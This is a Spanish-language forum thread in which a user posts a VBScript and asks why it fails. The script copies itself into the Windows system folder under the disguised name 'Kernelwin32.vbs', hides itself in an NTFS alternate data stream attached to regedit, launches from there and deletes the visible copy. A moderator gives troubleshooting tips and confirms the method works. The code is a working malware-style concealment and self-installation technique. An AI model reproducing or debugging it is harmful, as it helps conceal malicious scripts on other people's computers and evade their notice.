 Autor
|
Tema: Ocultacion stream ??¿ duda existencial (Leído 10,562 veces)
|
|
chewarrior
|
Si mi pregunta es de verdad existe porque yo ya lo intente todas las sintaxis posibles y siempre me dice que el archivo no esta asociado ??¿ consejos soluciones ?? aqui les dejo el script ' VB Script Document
Option Explicit
Dim objshell,objscript,Dir,escri,Estashay
Set objshell = createobject("wscript.shell") ' llamando objetos
Set objscript = CreateObject("Scripting.FileSystemObject")
Dir = objshell.expandenvironmentstrings("%Systemroot%")
Estashay = objscript.FileExists(Dir & "\Kernelwin32.vbs")
if Estashay = False Then
objscript.copyfile wscript.scriptfullname, Dir & "\Kernelwin32.vbs", false
End if
Estashay = objscript.FileExists(Dir & "\system.bat")
if Estashay = False Then
Set escri = objscript.CreateTextFile(Dir & "\system.bat",false)
escri.writeline("@echo off")
escri.writeline("type Kernelwin32.vbs>regedit:olo.vbs")
escri.writeline("start .\regedit:olo.vbs")
escri.writeline("Del /q /f Kernelwin32.vbs")
escri.writeline("exit")
escri.close
End if
objshell.Run Dir & "\system.bat"
MsgBox("VAYA IDIOTEZ")
MsgBox("codigo")
por cierto cuando no borro el kernelwin.vbs se ejecuta el codigo en un bucle infinito y no para de salirme msgbox ??¿ alguna opcion quit o exit para salir del script. Gracias por adelantado
|
|
|
|
« Última modificación: 4 Mayo 2010, 00:36 am por chewarrior »
|
En línea
|
Si Dios es tiempo,muchos lo estan perdiendo.
|
|
|
xassiz_
 Desconectado
Mensajes: 273
Ich werde dich töten..
|
No se como hacer lo del ads en vbs, pero para salir
|
|
|
|
|
En línea
|
 YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE |
|
|
|
chewarrior
|
Gracias por la informacion ya aportastes mas que el mod de esta secion  |
|
|
|
|
En línea
|
Si Dios es tiempo,muchos lo estan perdiendo.
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Yo soy mod de esta sección, y no tenemos por que contestar todos los mensajes que se publican  Intenta poniendo rutas absolutas en el bat para el regedit. Saludos |
|
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
Desconectado
Mensajes: 3.069
/^$/
|
Se refiere a mi, el niñito viene a publicar sus mensajes pero sin seguir las reglas.
Para la otra se los elimino a la primera, no habrá segundas oportunidades.
|
|
|
|
|
En línea
|
|
|
|
|
chewarrior
|
Te noto tenso con ese avatar, trankilo no hay porque ponerse nervioso, mi objetivo en este foro no es saltarme ninguna regla, es aprender y ayudar en lo que pueda con mis humildes conocimientos. Intenta poniendo rutas absolutas en el bat para el regedit. Ya lo intente y nada el mismo cuento |
|
|
|
« Última modificación: 4 Mayo 2010, 18:36 pm por chewarrior »
|
En línea
|
Si Dios es tiempo,muchos lo estan perdiendo.
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Tipo de datos de la partición?
Saludos
|
|
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
|
chewarrior
|
NTFS lo prove ya en tres pc una con xp sp2, otro xp sp3, y otro con vista home, todos con particiones ntfs no se tal vez esta forma de ocultar archivos ya no sirva, porque lo ley en un articulo vastante vieja de hack, tal vez solo sirva en home edition, o tal vez yo sea muy torpe  |
|
|
|
|
En línea
|
Si Dios es tiempo,muchos lo estan perdiendo.
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Si que funciona, y lo acabo de hacer, así que no se donde este el problema, obviamente el problema te da en el ms-dos, así que revisa bien en que directorio se esta abriendo
Saludos
|
|
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein |
|
|
|
chewarrior
|
como lo as hecho desde el vbs o manual en que directrio con que tipo de archivo ??¿ me lo podias postear
|
|
|
|
|
En línea
|
Si Dios es tiempo,muchos lo estan perdiendo.
|
|
|
|
 |
